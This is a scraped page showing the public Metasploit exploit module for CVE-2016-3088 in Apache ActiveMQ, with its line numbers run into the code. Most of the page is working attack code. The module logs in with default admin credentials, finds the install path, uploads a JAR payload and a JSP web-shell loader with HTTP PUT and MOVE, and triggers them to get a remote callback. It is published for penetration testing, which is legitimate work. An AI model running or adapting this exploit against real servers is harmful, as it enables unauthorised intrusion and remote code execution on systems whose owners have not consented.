Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/http/apache_activemq_upload_jsp.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking7include Msf::Exploit::Remote::HttpClient8include Msf::Exploit::FileDropper910def initialize(info = {})11super(update_info(info,12'Name' => 'ActiveMQ web shell upload',13'Description' => %q(14The Fileserver web application in Apache ActiveMQ 5.x before 5.14.015allows remote attackers to upload and execute arbitrary files via an16HTTP PUT followed by an HTTP MOVE request.17),18'Author' => [ 'Ian Anderson <andrsn84[at]gmail.com>', 'Hillary Benson <1n7r1gu3[at]gmail.com>' ],19'License' => MSF_LICENSE,20'References' =>21[22[ 'CVE', '2016-3088' ],23[ 'URL', 'http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt' ]24],25'Privileged' => true,26'Platform' => %w{ java linux win },27'Targets' =>28[29[ 'Java Universal',30{31'Platform' => 'java',32'Arch' => ARCH_JAVA33}34],35[ 'Linux',36{37'Platform' => 'linux',38'Arch' => ARCH_X8639}40],41[ 'Windows',42{43'Platform' => 'win',44'Arch' => ARCH_X8645}46]47],48'DisclosureDate' => '2016-06-01',49'DefaultTarget' => 0))50register_options(51[52OptString.new('BasicAuthUser', [ true, 'The username to authenticate as', 'admin' ]),53OptString.new('BasicAuthPass', [ true, 'The password for the specified username', 'admin' ]),54OptString.new('JSP', [ false, 'JSP name to use, excluding the .jsp extension (default: random)', nil ]),55OptString.new('AutoCleanup', [ false, 'Remove web shells after callback is received', 'true' ]),56Opt::RPORT(8161)57])58register_advanced_options(59[60OptString.new('UploadPath', [false, 'Custom directory into which web shells are uploaded', nil])61])62end6364def jsp_text(payload_name)65%{66<%@ page import="java.io.*"67%><%@ page import="java.net.*"68%><%69URLClassLoader cl = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(request.getRealPath("./#{payload_name}.jar")).toURI().toURL()});70Class c = cl.loadClass("metasploit.Payload");71c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]});72%>}73end7475def exploit76jar_payload = payload.encoded_jar.pack77payload_name = datastore['JSP'] || rand_text_alpha(8 + rand(8))78host = "#{datastore['RHOST']}:#{datastore['RPORT']}"79@url = datastore['SSL'] ? "https://#{host}" : "http://#{host}"80paths = get_upload_paths81paths.each do |path|82if try_upload(path, jar_payload, payload_name)83break handler if trigger_payload(payload_name)84print_error('Unable to trigger payload')85end86end87end8889def try_upload(path, jar_payload, payload_name)90['.jar', '.jsp'].each do |ext|91file_name = payload_name + ext92data = ext == '.jsp' ? jsp_text(payload_name) : jar_payload93move_headers = { 'Destination' => "#{@url}/#{path}/#{file_name}" }94upload_uri = normalize_uri('fileserver', file_name)95print_status("Uploading #{move_headers['Destination']}")96register_files_for_cleanup "#{path}/#{file_name}" if datastore['AutoCleanup'].casecmp('true')97return error_out unless send_request('PUT', upload_uri, 204, 'data' => data) &&98send_request('MOVE', upload_uri, 204, 'headers' => move_headers)99@trigger_resource = /webapps(.*)/.match(path)[1]100end101true102end103104def get_upload_paths105base_path = "#{get_install_path}/webapps"106custom_path = datastore['UploadPath']107return [normalize_uri(base_path, custom_path)] unless custom_path.nil?108[ "#{base_path}/api/", "#{base_path}/admin/" ]109end110111def get_install_path112properties_page = send_request('GET', "#{@url}/admin/test/")113fail_with(Failure::UnexpectedReply, 'Target did not respond with 200 OK to a request to /admin/test/!') if properties_page == false114properties_page = properties_page.body115match = properties_page.match(/activemq\.home=([^,}]+)/)116return match[1] unless match.nil?117end118119def send_request(method, uri, expected_response = 200, opts = {})120opts['headers'] ||= {}121opts['headers']['Authorization'] = basic_auth(datastore['BasicAuthUser'], datastore['BasicAuthPass'])122opts['headers']['Connection'] = 'close'123r = send_request_cgi(124{125'method' => method,126'uri' => uri127}.merge(opts)128)129if r.nil?130fail_with(Failure::Unreachable, 'Could not reach the target!')131end132return false if expected_response != r.code.to_i133r134end135136def trigger_payload(payload_name)137send_request('POST', @url + @trigger_resource + payload_name + '.jsp')138end139140def error_out141print_error('Upload failed')142@trigger_resource = nil143false144end145end146147148